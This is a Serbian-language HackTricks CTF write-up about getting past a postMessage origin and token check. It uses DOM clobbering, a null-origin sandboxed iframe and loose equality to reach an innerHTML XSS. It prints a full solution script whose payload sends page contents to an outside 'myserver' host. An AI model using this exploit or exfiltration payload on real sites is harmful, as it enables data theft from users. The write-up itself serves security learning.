Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Iframes in SOP-2
U rešenju za ovaj izazov, @Strellic_ predlaže sličnu metodu kao u prethodnom odeljku. Hajde da proverimo.
U ovom izazovu napadač treba da bypass ovo:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Ako to uradi, može poslati postmessage sa HTML sadržajem koji će biti napisan na stranici sa innerHTML bez sanitizacije (XSS).
Način da se zaobiđe prva provera je da se window.calc.contentWindow postavi na undefined i e.source na null:
window.calc.contentWindowje zapravodocument.getElementById("calc"). Možete prebrisatidocument.getElementByIdsa<img name=getElementById />(napomena da Sanitizer API -ovde- nije konfiguran da štiti od DOM clobbering napada u svom podrazumevanom stanju).- Stoga, možete prebrisati
document.getElementById("calc")sa<img name=getElementById /><div id=calc></div>. Tada ćewindow.calcbitiundefined. - Sada, potrebno je da
e.sourcebudeundefinedilinull(jer se koristi==umesto===,null == undefinedjeTrue). Dobijanje ovoga je "lako". Ako kreirate iframe i pošaljete postMessage iz njega i odmah uklonite iframe,e.originće bitinull. Proverite sledeći kod
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Da biste zaobišli drugu proveru o tokenu, potrebno je poslati token sa vrednošću null i postaviti vrednost window.token na undefined:
- Slanje
tokenu postMessage sa vrednošćunullje trivijalno. window.tokense koristi u pozivu funkcijegetCookiekoja koristidocument.cookie. Imajte na umu da svaki pristupdocument.cookiena stranicama sanullporeklom izaziva grešku. Ovo će postavitiwindow.tokenna vrednostundefined.
Konačno rešenje od @terjanq je sledeće:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks